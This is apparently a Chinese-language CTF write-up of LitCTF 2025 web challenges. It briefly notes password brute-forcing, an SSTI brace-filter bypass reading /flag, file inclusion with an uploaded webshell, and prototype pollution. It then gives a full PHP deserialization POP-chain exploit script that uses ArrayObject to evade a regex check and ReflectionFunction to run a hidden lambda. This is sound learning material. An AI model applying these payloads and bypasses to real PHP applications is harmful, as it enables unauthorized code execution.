web

nest_js

img

弱密码,爆破得到用户名和密码为,admin,password

星愿信箱

img

1
过滤了{{}}双写的大括号,利用{%%}绕过,cat /flag利用 nl /f* 进行绕过

ez_file

img

这边有一个重定向,可以进去看一下

img

这边又一个文件包含,可以上传jpg,进行文件包含。

img

传马

img

得到flag

多重宇宙日记

知识点:

本题考的是原型链污染,在js语言中每个对象都有__proto__属性,指向了构造函数的原型对象,当我们可以对键名进行控制并且字符串可以被解析成对象或方法时就可以进行原型链污染(按我理解后端代码应该还得有递归)。我是这样理解的,_proto__属性通过递归修改掉object.prototype,从而将整个原型链进行污染

img

就这样

easy_signin

img

扫一下目录

img

这边有一个api.js

img

img

文件读取

然后你会发先flag不在根目录,而且有waf

img

最后读取/api/sys/urlcode.php,发现这个文件,访问

img

得到flag

君の名は

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

“/^[Oa]:[\d]+/i”绕过这个可以使用php的原生类,可以看一下https://www.cnblogs.com/Rxuxin/articles/18898161

思路

首先反序列化 ArrayObject,触发 Taki 的 __unserialize,尝试调用 musubi(Mitsuha 对象)

Mitsuha 对象被当作函数调用,触发 __invoke__invoke 返回 memory . thread,其中 memory 是 KatawareDoki 对象。将 KatawareDoki 转为字符串触发 __toString__toString 调用 soul->flag(kuchikamizake, name)

  • 这里 soul 是另一个 Taki 对象
  • 调用不存在的 flag 方法触发 __call
1
__call` 执行 `(new $args[0]($args[1]))->{$this->magic}()
  • $args[0] 是 “ReflectionFunction”(反射类)
  • $args[1] 是 “\000lambda_1”(匿名函数名)(后面的序号会随着访问次数的增加而增加,所以交的时候最好重开环境)
  • $this->magic 是 “invoke”

构造new ReflectionFunction(\000lambda_1) -> invoke 从而执行匿名函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class Taki
{
public $musubi;
public $magic = "invoke";
}

class Mitsuha
{
public $memory;
public $thread;
}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}

$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a -> musubi = $b; //调用Mitsuha
$b -> thread = $c; //调用KatawareDoki
$c -> soul = $a; //调用Taki

$d = array("PusTR"=>$a);//创建了一个数组 $d,其中键为 "PusTR",值为 $a 对象
$e = new ArrayObject($d); //用这个数组创建了一个 ArrayObject 实例 $e ,O转化为C

echo urlencode(serialize($e));


?>

img

刷新了一次,我就加到2了,可以进行爆破,同时要注意一点,原生类改为C的时候要注意php版本哈。